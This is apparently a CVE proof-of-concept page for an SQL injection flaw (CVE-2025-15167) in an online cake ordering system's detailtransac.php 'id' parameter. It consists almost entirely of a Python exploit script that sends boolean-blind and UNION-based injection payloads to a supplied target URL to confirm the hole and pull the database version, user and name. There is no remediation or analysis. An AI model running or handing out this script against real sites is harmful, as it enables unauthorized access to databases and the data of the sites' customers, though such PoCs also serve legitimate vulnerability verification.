CVE-2025-15167 | itsourcecode Online Cake Ordering System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-15167 SQL Injection PoC # Target: itsourcecode Online Cake Ordering System 1.0 # Vulnerability: SQL Injection in /detailtransac.php ID parameter def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in detailtransac.php """ # Construct malicious URL with SQL injection payload vuln_url = f"{target_url}/detailtransac.php?id={payload}" try: response = requests.get(vuln_url, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def test_boolean_blind_injection(target_url): """ Test for boolean-based blind SQL injection """ # True condition payload true_payload = "1' AND 1=1 -- -" # False condition payload false_payload = "1' AND 1=2 -- -" print(f"[*] Testing boolean blind injection...") true_resp = exploit_sqli(target_url, true_payload) false_resp = exploit_sqli(target_url, false_payload) if true_resp and false_resp and true_resp != false_resp: print("[+] Boolean blind injection confirmed!") return True return False def extract_database_info(target_url): """ Extract database information using UNION-based injection """ # Database version payload version_payload = "1' UNION SELECT NULL,@@version,NULL,NULL,NULL -- -" # Current user payload user_payload = "1' UNION SELECT NULL,user(),NULL,NULL,NULL -- -" # Database name payload db_payload = "1' UNION SELECT NULL,database(),NULL,NULL,NULL -- -" print("[*] Extracting database information...") version_result = exploit_sqli(target_url, version_payload) if version_result: print(f"[+] Database version information retrieved") return version_result if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-15167.py <target_url>") print("Example: python cve-2025-15167.py http://target.com/cakeshop") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] CVE-2025-15167 SQL Injection PoC") # Test vulnerability test_boolean_blind_injection(target) # Extract information extract_database_info(target)